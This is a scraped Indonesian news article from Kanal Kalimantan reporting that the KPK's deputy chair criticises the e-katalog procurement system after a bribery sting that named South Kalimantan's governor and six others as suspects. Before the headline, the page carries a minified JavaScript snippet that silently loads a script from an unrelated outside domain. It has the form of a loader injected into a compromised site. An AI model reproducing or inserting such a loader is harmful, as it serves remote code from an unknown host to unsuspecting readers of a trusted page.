(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPK Soroti E-Katalog Pasca OTT di Kalsel


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menyoroti sistem e-katalog pasca operasi tangkap tangan (OTT) di Kalimantan Selatan (Kalsel). OTT ini diketahui merupakan dugaan suap terkait pengerjaan proyek di lingkungan Pemprov Kalsel.

Dari hasil OTT ini, KPK menetapkan tujuh orang sebagai tersangka, yakni Gubernur Kalsel Sahbirin Noor (SHB) alias Paman Birin, Kadis PUPR Kalsel Ahmad Solhan (SOL), Kabid Cipta Karya sekaligus PPK Yulianti Erlynah (YUL), ppengepul uang fee Ahmad (AMD), Plt Kepala Bagian Rumah Tangga Gubernur Kalsel Agustya Febry Andrean (FEB), swasta Sugeng Wahyudi (YUD), swasta Andi Susanto (AND).

Padahal di lain sisi, proyek yang diduga ada suap di baliknya sudah menggunakan sistem e-katalog. KPK memandang sistem tersebut kini justru menjadi penunjukan langsung.

“Faktanya kita cermati, e-katalog saat ini seperti kembali berubah menjadi penunjukan langsung secara elektronik,” kata Wakil Ketua KPK Nurul Ghufron, Rabu (9/10/2024).

Baca juga: Jadi Tersangka Belum Ditahan, Paman Birin Dicegah ke Luar Negeri

Ghufron menerangkan, penunjukan langsung seharusnya dapat dijalankan pada proyek yang nilainya di bawah Rp200 juta. Hanya saja, dia menyoroti fenomena saat ini yang ditemukan pihaknya.

“Jadi dulu ada Rp200 (juta) ke bawah PL, di atas itu bisa tender. Namun, dengan kemudian e-katalog, seakan-akan e-katalog ini adalah membubarkan leveling nilai, kembali saat ini menjadi seakan-akan e-katalog ya penunjukan langsung, cuma menggunakan media elektronik,” ujar Ghufron.

Ghufron mengungkapkan, KPK mencermati fenomena tersebut di sejumlah daerah lainnya. Dia pun memastikan pihaknya akan membahas bersama pihak terkait lainnya untuk melakukan evaluasi.

“Ini yang kita cermati dan ini di beberapa daerah, e-katalog berubah seperti ini semua, menjadi seakan-akan upaya pengadaan barang dan jasa melalui penunjukan tetapi semuanya dielektronik,” ungkap Ghufron.

Baca juga: Pemkab HSU Dorong Peningkatkan Kedisipinan dan Profesionalisme ASN

“Ini yang kita akan kemudian berdiskusi dan membahasnya bersama dengan LKPP untuk kemudian mengevaluasinya,” pungkasnya. (Kanalkalimantan/Beritasatu.com/kk)

Editor: kk


Risa

Recent Posts

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

3 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

3 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

4 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

4 jam ago

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

5 jam ago

Daftar UMP dan UMK Kalimantan Selatan 2026, Cukupkah untuk Biaya Hidup Layak?

Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More

17 jam ago

This website uses cookies.